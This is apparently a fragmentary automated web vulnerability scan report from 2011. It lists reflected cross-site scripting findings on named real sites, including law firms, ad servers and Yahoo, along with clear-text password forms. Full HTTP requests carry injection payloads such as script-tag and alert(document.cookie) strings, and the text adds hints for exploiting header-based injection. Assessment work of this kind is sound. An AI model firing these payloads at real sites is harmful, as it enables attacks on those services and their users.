GET /publications.cfm?id=2795&action=view HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=1e6ed"><a>0d08c6799e
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
<html> <head>
<title>Arnold & Porter LLP - Trade mark owner can object to resale of 'perfume te ...[SNIP]... <a href="http://www.google.com/search?hl=en&q=1e6ed"><a>0d08c6799e"> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c070"><a>4421a84236f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /remote_access.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=6c070"><a>4421a84236f
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:28:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: OFFICE=;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 997bb"><a>c1452cc4d4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /search.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=997bb"><a>c1452cc4d4
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:28:08 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91afd"><a>22110ca1882 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /sitemap.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=91afd"><a>22110ca1882
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:28:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 605f4"><a>5f16750633f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /index.cfm?fuseaction=correspondence.emailform&site_id=299&eTitle=Washington%2C%20D%2EC%2E HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23; Referer: http://www.google.com/search?hl=en&q=605f4"><a>5f16750633f
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:50:01 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=24113095;path=/ Set-Cookie: CFTOKEN=35971701;path=/ Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A50%3A01%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D780%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:50:01 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5d539"-alert(1)-"d98fb76f347 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.kasimer-ittig.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=5d539"-alert(1)-"d98fb76f347
The value of the ZEDOIDA cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 11e39"-alert(1)-"c7efa5beb18 was submitted in the ZEDOIDA cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bar/v16-401/d3/jsc/fm.js?c=2/1&a=0&f=&n=1099&r=13&d=14&q=&$=&s=1&l=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBMES1Ugg3Ta2nBoyGlges6NynDJnp180BAAAAEAEgjfDlBTgAWKHYjIMWYMmGo4fUo4AQsgERd3d3LmNzbW9uaXRvci5jb226AQk3Mjh4OTBfYXPIAQnaAZIBaHR0cDovL3d3dy5jc21vbml0b3IuY29tL1VTQTFlZGMxJTIyLWFsZXJ0KGRvY3VtZW50LmNvb2tpZSktJTIyOGE1ZTYzNWQ0OC9KdXN0aWNlLzIwMTEvMDExOC9TdXByZW1lLUNvdXJ0LWRlY2xpbmVzLWFwcGVhbC1vZi1ELkMuLWdheS1tYXJyaWFnZS1sYXeYAvQDwAIC4AIA6gIPNzI4eDkwQV9HZW5lcmFs-AL40R6QA-gCmAOkA6gDAeAEAQ%26num%3D0%26sig%3DAGiWqtxRwj24JAE0NIGlaKp_ZowzoLsPwg%26client%3Dca-pub-6743622525202572%26adurl%3D&z=0.14485870278440416 HTTP/1.1 Host: d7.zedo.com Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~01041111e39"-alert(1)-"c7efa5beb18; ZEDOIDX=29; FFgeo=5386156; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1; FFCap=1463B1219,174796|0,11,1
Response (redirected)
HTTP/1.1 200 OK Server: ZEDO 3G Content-Type: application/x-javascript Set-Cookie: FFChanCap=1479B1099,2#668902|0,1,1;expires=Fri, 18 Feb 2011 18:01:17 GMT;path=/;domain=.zedo.com; Set-Cookie: FFcat=1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFad=0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "812b9fe7-809a-4989a59833840" Vary: Accept-Encoding X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=509 Expires: Wed, 19 Jan 2011 18:09:46 GMT Date: Wed, 19 Jan 2011 18:01:17 GMT Connection: close Content-Length: 2115
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
var p9=new Image();
var zzD=window.document;
if(typeof zzuid=='undefined'){ var zzuid='unknown';} var zzSection=1;var zzPat='';var zzCusto ...[SNIP]... d='INmz6woBADYAAHrQ5V4AAACH~01041111e39"-alert(1)-"c7efa5beb18';
var zzhasAd=undefined;
var zzStr = "s=1;u=INmz6woBADYAAHrQ5V4AAACH~01041111e39"-alert(1)-"c7efa5beb18;z=" + Math.random(); var ainfo = "";
var zzDate = new Date(); var zzWindow; var zzURL; if (typeof zzCustom =='undefined'){var zzIdxCustom ='';} else{var zzIdxCustom = zzCustom;} if (typeof zzTrd ...[SNIP]...
The value of the ZEDOIDA cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2b03b"-alert(1)-"d9b6e79ead6 was submitted in the ZEDOIDA cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bar/v16-401/d3/jsc/fmr.js?c=2/1&a=0&f=&n=1099&r=13&d=14&q=&$=&s=1&l=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBMES1Ugg3Ta2nBoyGlges6NynDJnp180BAAAAEAEgjfDlBTgAWKHYjIMWYMmGo4fUo4AQsgERd3d3LmNzbW9uaXRvci5jb226AQk3Mjh4OTBfYXPIAQnaAZIBaHR0cDovL3d3dy5jc21vbml0b3IuY29tL1VTQTFlZGMxJTIyLWFsZXJ0KGRvY3VtZW50LmNvb2tpZSktJTIyOGE1ZTYzNWQ0OC9KdXN0aWNlLzIwMTEvMDExOC9TdXByZW1lLUNvdXJ0LWRlY2xpbmVzLWFwcGVhbC1vZi1ELkMuLWdheS1tYXJyaWFnZS1sYXeYAvQDwAIC4AIA6gIPNzI4eDkwQV9HZW5lcmFs-AL40R6QA-gCmAOkA6gDAeAEAQ%26num%3D0%26sig%3DAGiWqtxRwj24JAE0NIGlaKp_ZowzoLsPwg%26client%3Dca-pub-6743622525202572%26adurl%3D&z=0.14485870278440416 HTTP/1.1 Host: d7.zedo.com Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~0104112b03b"-alert(1)-"d9b6e79ead6; ZEDOIDX=29; FFgeo=5386156; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1; FFCap=1463B1219,174796|0,11,1; ZCBC=1
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Type: application/x-javascript Set-Cookie: FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1;expires=Fri, 18 Feb 2011 18:01:00 GMT;path=/;domain=.zedo.com; Set-Cookie: FFcat=1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFad=0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "812b9fe7-809a-4989a59833840" Vary: Accept-Encoding X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=526 Expires: Wed, 19 Jan 2011 18:09:46 GMT Date: Wed, 19 Jan 2011 18:01:00 GMT Connection: close Content-Length: 2035
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
var p9=new Image();
var zzD=window.document;
if(typeof zzuid=='undefined'){ var zzuid='unknown';} var zzSection=1;var zzPat='';var zzCusto ...[SNIP]... zzuid=='unknown')zzuid='INmz6woBADYAAHrQ5V4AAACH~0104112b03b"-alert(1)-"d9b6e79ead6';
var zzhasAd=undefined;
var zzStr = "s=1;u=INmz6woBADYAAHrQ5V4AAACH~0104112b03b"-alert(1)-"d9b6e79ead6;z=" + Math.random(); var ainfo = "";
var zzDate = new Date(); var zzWindow; var zzURL; if (typeof zzCustom =='undefined'){var zzIdxCustom ='';} else{var zzIdxCustom = zzCustom;} if (typeof zzTrd ...[SNIP]...
The value of the ltcid cookie is copied into the HTML document as plain text between tags. The payload 4bf45<script>alert(1)</script>08862fae6c1 was submitted in the ltcid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /g.lt?nvst=12596&nvtt=z&nvup=1&nvgpflid=547362597 HTTP/1.1 Host: lt.navegg.com Proxy-Connection: keep-alive Referer: http://rafael.adm.br/?ffb7d%22%3E%3Cscript%3Ealert(1)%3C/script%3E21b58676d82=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ltcid=5473625974bf45<script>alert(1)</script>08862fae6c1
Response
HTTP/1.1 200 OK P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' Set-Cookie: inf= ; path=/; domain=.navegg.com; expires=Wed, 20-Jan-2011 06:01:20 GMT Content-type: application/javascript Date: Wed, 19 Jan 2011 18:01:20 GMT Server: lighttpd/1.4.19 Content-Length: 84
4.364. http://quote.yahoo.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://quote.yahoo.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 1360e<script>alert(1)</script>968451a2970 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /?1360e<script>alert(1)</script>968451a2970=1 HTTP/1.1 Host: quote.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Redirect Date: Wed, 19 Jan 2011 18:13:10 GMT Connection: close Server: YTS/1.17.23.1 Cache-Control: no-store Content-Type: text/html Content-Language: en Location: http://finance.yahoo.com/?1360e<script>alert(1)</script>968451a2970=1 Content-Length: 259
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://dcregistry.com/cgi-bin/wbn2/wbn_admin.pl
The form contains the following password field:
password
Request
GET /wbn/welcome.html HTTP/1.1 Host: dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:20:53 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Accept-Ranges: bytes Connection: close Content-Type: text/html Content-Length: 49869
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://dcregistry.com/cgi-bin/wbn/wbn_admin.pl
The form contains the following password field:
password
Request
GET /wbn/welcome.html HTTP/1.1 Host: dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:20:53 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Accept-Ranges: bytes Connection: close Content-Type: text/html Content-Length: 49869
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
GET /magazines/fortune/bestcompanies/2010/snapshots/65.html HTTP/1.1 Host: money.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:12 GMT Server: Apache Accept-Ranges: bytes Cache-Control: max-age=60, private Expires: Wed, 19 Jan 2011 15:26:12 GMT Content-Type: text/html Vary: Accept-Encoding,User-Agent Connection: close Content-Length: 75163
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>100 Best Companies to Work For 2010: Arnold & Porter - from FORTUNE</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-c ...[SNIP]... <!-- start registration --> <form onsubmit="return false;" id="cnnConnectFormRegister" class="overlay_content"> <a href="javascript:void(0)" class="close"> ...[SNIP]... </p> <input id="signup_password" name="password" maxlength="10" type="password" /> <span class="fieldTip"> ...[SNIP]...
GET /magazines/fortune/bestcompanies/2010/snapshots/65.html HTTP/1.1 Host: money.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:12 GMT Server: Apache Accept-Ranges: bytes Cache-Control: max-age=60, private Expires: Wed, 19 Jan 2011 15:26:12 GMT Content-Type: text/html Vary: Accept-Encoding,User-Agent Connection: close Content-Length: 75163
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>100 Best Companies to Work For 2010: Arnold & Porter - from FORTUNE</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-c ...[SNIP]... <!-- start reset password --> <form id="cnnConnectFormReset" class="overlay_content"> <a href="javascript:void(0)" class="close"> ...[SNIP]... </p> <input type="password" id="new_password" name="newPassword"> <div id="cnnConnectResetErrors"> ...[SNIP]...
GET /magazines/fortune/bestcompanies/2010/snapshots/65.html HTTP/1.1 Host: money.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:12 GMT Server: Apache Accept-Ranges: bytes Cache-Control: max-age=60, private Expires: Wed, 19 Jan 2011 15:26:12 GMT Content-Type: text/html Vary: Accept-Encoding,User-Agent Connection: close Content-Length: 75163
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>100 Best Companies to Work For 2010: Arnold & Porter - from FORTUNE</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-c ...[SNIP]... <!-- start login --> <form onsubmit="return false;" id="cnnMoneyConnectFormLogin" class="overlay_content"> <a href="javascript:void(0)" class="close"> ...[SNIP]... </p> <input class="" id="passwordinput" name="password" type="password"> <div id="cnnConnectLoginErrors" style="display: none;"> ...[SNIP]...
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.local.com/results.aspx
The form contains the following password field:
password
Request
GET /results.aspx HTTP/1.1 Host: www.local.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.political.cov.com/login.cfm
The form contains the following password field:
password
Request
GET / HTTP/1.1 Host: www.political.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 16:55:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=18273037;expires=Fri, 11-Jan-2041 16:55:51 GMT;path=/ Set-Cookie: CFTOKEN=87095538;expires=Fri, 11-Jan-2041 16:55:51 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /alumni/Index.cfm HTTP/1.1 Host: www.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=34916643.1295449749.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); BACKLINK=; __utma=34916643.540692983.1295449749.1295449749.1295449749.1; __utmc=34916643; __utmb=34916643;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: ALSITETOKEN=;expires=Tue, 19-Jan-2010 15:14:39 GMT;path=/ Set-Cookie: ALUSERTOKEN=;expires=Tue, 19-Jan-2010 15:14:39 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//Dtd Xhtml 1.0 Strict//EN" "http://w ...[SNIP]... <td align="left" valign="top"> <form method="post" action="alumni_authenticate.cfm" id="loginFrm">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Date ...[SNIP]... </div>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Date ...[SNIP]... </div>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Date ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.vault.com/wps/portal/usa/membership
The form contains the following password fields:
UserPassword
UserConfirm
Request
GET /wps/portal/usa/rankings/individual HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Dat ...[SNIP]... </div>
GET /wps/portal/usa/rankings/individual HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Dat ...[SNIP]... </div>
